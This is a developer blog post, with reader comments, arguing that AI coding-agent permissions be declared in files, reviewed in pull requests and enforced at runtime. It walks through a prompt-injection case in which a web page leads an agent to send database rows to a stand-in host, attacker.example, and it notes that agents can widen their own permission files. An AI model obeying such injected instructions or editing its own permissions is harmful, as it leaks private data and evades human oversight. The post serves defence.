A one-line PR, what it really changed, and the practices I use before giving an AI agent real access.
Here's a pull request. One line.
- { "permissions": { "allow": ["mcp__postgres"] } }
+ { "permissions": { "allow": ["mcp__postgres", "WebFetch"] } }
It's .claude/settings.json in a normal repo. The team already lets Claude Code query a staging copy of the app database through an MCP server, and now someone wants it to stop asking every time it opens a new docs site. Would you approve it? I think most of us would, on a Friday, in about four seconds.
Here is what that line actually changed. I ran a scanner I maintain on exactly this diff (more about it at the end):
Authority widened by this change:
Claude Code (project): reads untrusted input yes, with approval -> yes, no approval
Claude Code (project): sends data out yes, with approval -> yes, no approval
New findings:
CRITICAL AGC-TRI-001 .claude/settings.json:1
Claude Code (project) reads private data (mcp__postgres), reads untrusted
input (WebFetch) and can send data out without approval (WebFetch).
In plain words: the agent can now read the database, read any web page, and send data to any URL, and it doesn't need to ask anyone for any of it. A web page with the right sentence in it can ask the agent to take some rows and "fetch" https://attacker.example/?d=.... The agent fetches, and the rows are gone.
Nobody did anything stupid here. The reviewer saw a JSON diff. The consequence wasn't in the diff.
The fix: allow only the site you actually need, WebFetch(domain:docs.python.org), and run the same check again. Sending data out goes back to "with approval", the critical finding turns into a medium one (the agent still has all three legs; now only the approval prompt for Bash stands between them, and people do click yes), and the PR passes.
The fix is easy. Noticing is the hard part. Agent permissions already live in files and change in pull requests, and we don't review them like code.
What I mean by agents as code
Two things together.
First, declare. What an agent is allowed to do lives in a file in the repository: who owns it, which tools, on which resources, where data can go, what needs a person, when someone looks at it again.
Second, enforce. At runtime every tool call is checked against that file, and anything the file doesn't allow doesn't run.
You need both. A file nothing enforces drifts. A check with no file is a policy nobody reviews.
If this sounds like infrastructure as code, it is. Not that long ago servers were configured by hand. Then we moved the truth into files (Puppet and Chef, later Terraform), put them through pull requests and applied the files to the servers. People didn't get more careful. The process stopped needing them to be.
Agents are at the hand-configured stage right now.
There are two kinds of agents, and both have this problem:
-
Agents you use: Claude Code, Codex, Cursor, Copilot, Gemini CLI, and GitHub workflows that run them. Their permissions are partly files in your repo already (
.claude/settings.json,.mcp.json,.codex/config.toml,.cursor/mcp.json). Partly, because user and local settings merge on top, and nobody reviews those. Most teams never look at any of it as security config. - Agents you ship: the support bot, the assistant in your product, the internal agent that files Jira tickets. Their permissions are spread around: a prompt in a vendor dashboard, tool wiring in code, an API token someone created once with admin scope because it was faster.
Why the prompt can't be the policy
An agent's prompt, together with everything it reads, decides what it wants to do. Its tools and credentials decide what it can do.
Prompt injection attacks the first one. Anyone who can put text in front of the model (a ticket, a web page, an email, a code comment, a tool result) can try to change what it wants. Today there is no reliable way to stop that. Filters help, and they also miss.
But no email, however clever, can give the agent a new tool or a wider token, as long as the capabilities live somewhere text can't reach and something checks them on every call.
One condition: the agent must not be able to edit that file. A coding agent with Edit and Bash in the repo can rewrite .claude/settings.json or open a PR that widens its own access. Deny Edit on .claude/** and .mcp.json, keep Bash on ask, and add those paths to CODEOWNERS so a person reviews every change to them.
An agent is exactly as safe as the worst thing it is able to do on its most confused day. That's why I care about the file more than about the prompt.
Seven practices
Roughly in the order you'll need them: the first three apply to the coding agents already in your repos, the rest to agents you build and ship.
1. Check agent config on every pull request
The useful question for a PR isn't "is this config perfect?". It usually isn't, and that's old debt. The question is "did this change let any agent do more than before?"
npx @shieldaai/agent-guard-check --base origin/main
That's the scanner from the opening. It reads files only, never runs repo code, and by default fails only on new findings at high or above, so old debt doesn't block every PR. You don't need it to start, though. A CODEOWNERS rule on .claude/, .mcp.json and the other agent configs forces a second reviewer today. At runtime, permissions.deny, PreToolUse hooks or an MCP gateway with an allowlist limit the damage. Whatever you pick, put an automated check next to the human reviewer. People reading JSON alone won't catch this.
2. Break the lethal trifecta on purpose
Simon Willison named it: private data, untrusted content, and a way to send data out. The leak needs all three. (Other combinations have their own problems: untrusted input plus write access can still delete things.)
When you find an agent with all three, the cheapest leg to cut is almost always sending. And watch for sending you didn't count as sending. Fetching a URL is sending, if the agent picks the URL.
3. Treat tool definitions like dependencies
An MCP server you approved last month can change a tool's description tomorrow, and that description goes straight into the model's context. Pin what you approved (a version, or a digest of the definition), and when it changes, refuse calls until a person reviews the new one. Same idea as a lockfile. For coding agents, at least pin the server version in .mcp.json (pkg@1.4.2, not @latest).
Same rule for everything else you can't verify: a config you can't parse, a hook you can't follow, a tool you don't recognize. Unknown is not safe. Fail closed.
4. Give every agent you ship a file with an owner and a review date
Write capabilities in it, not wishes. "Be careful with customer data" is a prompt. "Reads the customer record of the ticket it's working on" is a capability you can check in code. Add an owner and a review_by date. Agents from hackathons keep running after everyone forgets them, and two lines save you the "who even uses this token?" conversation six months later.
5. Grant per task and per resource
"The support agent can delete tickets" is too wide. "This task, working on ticket 42, can delete ticket 42" is the right size:
grants: [{ tool: 'delete-ticket', resources: ['ticket:42'] }]
Then the model can ask for ticket 7 as many times as it wants. The call is refused before it runs, so a misled agent is still limited to what this one task was given.
6. Bind approvals to one exact action, once
"Ask a human for dangerous stuff" is the standard advice, and it's right, but the details matter. An approval should cover these arguments, on this resource, one time, with an expiry. Otherwise "approve delete ticket 42" quietly becomes "approve deletes".
In Agent Guard it looks like this (tool registration left out. The README example linked at the end runs as is; add a second execute to see the replay refused.)
const prepared = await guard.prepare(task, { tool: 'delete-ticket', args: { id: '42' } });
const approvalId = guard.approve(prepared, { approverId: 'alice', expiresAt: Date.now() + 30_000 });
await guard.execute(prepared, { approvalId }); // runs
await guard.execute(prepared, { approvalId }); // throws ACTION_USED
The approval works once and a replay is refused. And the model must never be the one calling approve. That's your code, after a signed-in person clicks a button.
7. Let credentials follow the file
If the file says "reads tickets" and the token says "admin", the token wins. Give each agent, ideally each task, its own credential scoped to what the file allows, and close the side doors: no spare shell, no second client holding the same token.
What this doesn't solve
I'd rather say it myself than read it in the comments.
- It doesn't detect prompt injection. It limits what an injected agent can do.
- It only covers calls that go through the check. If the agent has a shell or its own database connection, that's a second door, and the file doesn't apply there.
- It doesn't make a bad grant safe. If the file says the agent can refund any order, it can, and a customer can ask it to in a ticket. The file only makes that decision visible and signed.
- Someone still has to read the diff. The scanner shows the consequence. A person decides.
Where to start
If I had one afternoon:
- Run a scanner over the repos where your team uses coding agents. Look for the trifecta first.
- Pick the shipped agent with the widest token and write its file: owner, tools, resources, where data goes, what needs a person.
- Put the one tool it should never call without a person behind an approval.
- Add the PR check, so next Friday's one-line change gets a second look.
Agents are getting more access every month. I'd rather we write that access down and review it now, while there are ten agents, than reconstruct it from logs later when there are five hundred.
About the tools I used
Agent Guard and the scanner are free and open source (Apache-2.0). There's no paid version. I care more about the idea than my implementation: agent permissions should be written down, reviewed and enforced. I'd be glad to see other projects do it, including better ones. The runnable example from practice 6 is in the README.
If you do this differently, or you think part of it is wrong, I'd like to hear it in the comments.
I wrote this with help from an AI assistant. The examples and scanner output are from runs on my own machine.



Top comments (7)
The file in the PR isn't the whole policy though. Claude Code also merges .claude/settings.local.json, which is gitignored, and the user's own settings, so someone can add WebFetch locally and no diff ever shows it. Does your check look at the local file when it runs on a dev machine?
Good catch, thanks. Today you have to run the check locally
npx @shieldaai/agent-guard-check --include-userto see settings.local.json.I’ll add a hook so it runs on every Claude Code session start. For real enforcement, use managed settings with allowManagedPermissionRulesOnly.
1.6.0 added a --hook mode you put in the repo's .claude/settings.json as a SessionStart hook. Every session it reads settings.local.json and your own ~/.claude settings, compares them with what's committed, and tells you if they add something, like WebFetch next to a postgres server. Under UserPromptSubmit it holds prompts until you fix it. It can't stop someone who turns hooks off, so for real enforcement you still need managed settings.
The combination in that example is what makes it critical: private data access, untrusted input and an unapproved outbound channel, each one fine alone. Reviewing settings diffs for that trifecta feels like something a CI check should enforce, not a human on a Friday afternoon. I'd also pin the allowlist to specific MCP tool names, not whole servers, so a read-only database tool doesn't quietly inherit write tools added in a later server version.
Agreed on both. The trifecta is exactly the kind of thing a person misses in a diff, because each line looks harmless on its own. That’s why today I built it into Agent Guard Check: it fails the pull request when a change adds the last of the three, and says which line did it.
On MCP: yes, a server-wide allow approves tools that don’t exist yet. Pinning the server’s package version helps too. New tools then arrive through a version bump someone reviews, not on the next install. The check flags server-wide allows today only for servers it knows to have write or outbound tools. Your read-only case is the one it misses, and I’ll close that.
One detail on the CODEOWNERS step. In GitHub's docs, code owners are automatically requested for review, and their approval becomes required when a branch protection rule turns on the option Require review from Code Owners. Without a rule like that, the pull request that widens .claude/settings.json can be merged with any approval, or with none on a branch that requires no reviews. The CODEOWNERS entry and the rule that enforces it live in different places, so it is worth checking that option in the same change.
Good catch, and you’re right. A CODEOWNERS entry only requests the review. “Require review from Code Owners”, in a branch protection rule or a ruleset, is what makes it required. Without it, the pull request that widens .claude/settings.json merges like any other. And the two live in different places, so nobody sees one change when reviewing the other. I’ll add a line to that step: turn the option on for the default branch, and check that admins can’t bypass it.